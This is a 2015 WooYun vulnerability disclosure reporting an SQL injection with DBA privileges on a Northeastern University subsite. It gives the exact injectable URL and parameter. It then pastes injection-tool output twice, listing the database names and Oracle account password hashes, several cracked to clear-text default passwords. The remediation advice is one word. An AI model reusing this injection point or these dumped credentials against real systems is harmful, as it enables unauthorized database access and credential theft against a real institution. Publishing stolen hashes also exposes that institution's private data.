漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0161369
漏洞标题：东北大学某站存在sql注入dba权限
相关厂商：东北大学
漏洞作者： G00d
提交时间：2015-12-15 10:54
修复时间：2016-02-01 19:48
公开时间：2016-02-01 19:48
漏洞类型：SQL注射漏洞
危害等级：中
自评Rank：10
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-12-15： 细节已通知厂商并且等待厂商处理中
2015-12-20： 厂商已经确认，细节仅向厂商公开
2015-12-30： 细节向核心白帽子及相关领域专家公开
2016-01-09： 细节向普通白帽子公开
2016-01-19： 细节向实习白帽子公开
2016-02-01： 细节向公众公开
简要描述：
东北大学某分站存在sql注入漏洞，dba权限。
详细说明：
注入点：http://cec.neu.edu.cn/MHSys/secindex.do?method=trainSystemQuery&sid=7&queryCode=PX_ZSCX
queryCode参数上存在sql注入。
存在的数据库
available databases [20]:
[*] CRDEV
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] MDSYS
[*] MHDEV
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PXDEV
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] XDB
[*] XZDEV
[*] ZKDEV
当前数据库的表
dba权限
数据库用户名密码
database management system users password hashes:
[*] ANONYMOUS [1]:
password hash: anonymous
[*] CRDEV [1]:
password hash: AB8A14C9F777A140
[*] CTXAPP [1]:
password hash: NULL
[*] CTXSYS [1]:
password hash: 71E687F036AD56E5
clear-text password: CHANGE_ON_INSTALL
[*] DBA [1]:
password hash: NULL
[*] DBSNMP [1]:
password hash: 7C151D7C4D480FB3
[*] DELETE_CATALOG_ROLE [1]:
password hash: NULL
[*] DIP [1]:
password hash: CE4A36B8E06CA59C
clear-text password: DIP
[*] DMSYS [1]:
password hash: BFBA5A553FD9E28A
clear-text password: DMSYS
[*] EJBCLIENT [1]:
password hash: NULL
[*] EXECUTE_CATALOG_ROLE [1]:
password hash: NULL
[*] EXFSYS [1]:
password hash: 66F4EF5650C20355
clear-text password: EXFSYS
[*] EXP_FULL_DATABASE [1]:
password hash: NULL
[*] GATHER_SYSTEM_STATISTICS [1]:
password hash: NULL
[*] GLOBAL_AQ_USER_ROLE [1]:
password hash: GLOBAL
[*] MDDATA [1]:
password hash: DF02A496267DEE66
clear-text password: MDDATA
[*] MDSYS [1]:
password hash: 72979A94BAD2AF80
clear-text password: MDSYS
[*] MGMT_VIEW [1]:
password hash: F25A184809D6458D
[*] MHDEV [1]:
password hash: 525E5422AFF1CD87
[*] OLAPSYS [1]:
password hash: 3FB8EF9DB538647C
clear-text password: MANAGER
[*] ORDPLUGINS [1]:
password hash: 88A2B2C183431F00
clear-text password: ORDPLUGINS
[*] ORDSYS [1]:
password hash: 7EFA02EC7EA6B86F
clear-text password: ORDSYS
[*] OUTLN [1]:
password hash: 4A3BA55E08595C81
clear-text password: OUTLN
[*] PXDEV [1]:
password hash: 985E52E4303F3A6E
[*] SCOTT [1]:
password hash: F894844C34402B67
clear-text password: TIGER
[*] SI_INFORMTN_SCHEMA [1]:
password hash: 84B8CBCA4D477FA3
clear-text password: SI_INFORMTN_SCHEMA
[*] SYS [1]:
password hash: 63D1AE605ED27D82
[*] SYSMAN [1]:
password hash: 2050B3999BBA40A8
[*] SYSTEM [1]:
password hash: D98D3A97C45A1116
[*] TSMSYS [1]:
password hash: 3DF26A8B17D0F29F
clear-text password: TSMSYS
[*] WMSYS [1]:
password hash: 7C9BA362F8314299
clear-text password: WMSYS
[*] XDB [1]:
password hash: 88D8364765FCE6AF
clear-text password: CHANGE_ON_INSTALL
[*] XZDEV [1]:
password hash: 611DBC53CB8E35AA
[*] ZKDEV [1]:
password hash: 85DF5FA7B2FFB46B
我就不一一深入了
漏洞证明：
存在的数据库
available databases [20]:
[*] CRDEV
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] MDSYS
[*] MHDEV
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PXDEV
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] XDB
[*] XZDEV
[*] ZKDEV
当前数据库的表
dba权限
数据库用户名密码
database management system users password hashes:
[*] ANONYMOUS [1]:
password hash: anonymous
[*] CRDEV [1]:
password hash: AB8A14C9F777A140
[*] CTXAPP [1]:
password hash: NULL
[*] CTXSYS [1]:
password hash: 71E687F036AD56E5
clear-text password: CHANGE_ON_INSTALL
[*] DBA [1]:
password hash: NULL
[*] DBSNMP [1]:
password hash: 7C151D7C4D480FB3
[*] DELETE_CATALOG_ROLE [1]:
password hash: NULL
[*] DIP [1]:
password hash: CE4A36B8E06CA59C
clear-text password: DIP
[*] DMSYS [1]:
password hash: BFBA5A553FD9E28A
clear-text password: DMSYS
[*] EJBCLIENT [1]:
password hash: NULL
[*] EXECUTE_CATALOG_ROLE [1]:
password hash: NULL
[*] EXFSYS [1]:
password hash: 66F4EF5650C20355
clear-text password: EXFSYS
[*] EXP_FULL_DATABASE [1]:
password hash: NULL
[*] GATHER_SYSTEM_STATISTICS [1]:
password hash: NULL
[*] GLOBAL_AQ_USER_ROLE [1]:
password hash: GLOBAL
[*] MDDATA [1]:
password hash: DF02A496267DEE66
clear-text password: MDDATA
[*] MDSYS [1]:
password hash: 72979A94BAD2AF80
clear-text password: MDSYS
[*] MGMT_VIEW [1]:
password hash: F25A184809D6458D
[*] MHDEV [1]:
password hash: 525E5422AFF1CD87
[*] OLAPSYS [1]:
password hash: 3FB8EF9DB538647C
clear-text password: MANAGER
[*] ORDPLUGINS [1]:
password hash: 88A2B2C183431F00
clear-text password: ORDPLUGINS
[*] ORDSYS [1]:
password hash: 7EFA02EC7EA6B86F
clear-text password: ORDSYS
[*] OUTLN [1]:
password hash: 4A3BA55E08595C81
clear-text password: OUTLN
[*] PXDEV [1]:
password hash: 985E52E4303F3A6E
[*] SCOTT [1]:
password hash: F894844C34402B67
clear-text password: TIGER
[*] SI_INFORMTN_SCHEMA [1]:
password hash: 84B8CBCA4D477FA3
clear-text password: SI_INFORMTN_SCHEMA
[*] SYS [1]:
password hash: 63D1AE605ED27D82
[*] SYSMAN [1]:
password hash: 2050B3999BBA40A8
[*] SYSTEM [1]:
password hash: D98D3A97C45A1116
[*] TSMSYS [1]:
password hash: 3DF26A8B17D0F29F
clear-text password: TSMSYS
[*] WMSYS [1]:
password hash: 7C9BA362F8314299
clear-text password: WMSYS
[*] XDB [1]:
password hash: 88D8364765FCE6AF
clear-text password: CHANGE_ON_INSTALL
[*] XZDEV [1]:
password hash: 611DBC53CB8E35AA
[*] ZKDEV [1]:
password hash: 85DF5FA7B2FFB46B
我就不一一深入了
修复方案：
过滤吧..
版权声明：转载请注明来源 G00d@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：12
确认时间：2015-12-20 09:39
厂商回复：
感谢漏洞信息！相关信息已经转给相关学院，该网站没有部署在校内，所以我们没有紧急处置的能力，我们积极配合修补漏洞。再次表示感谢！
最新状态：
暂无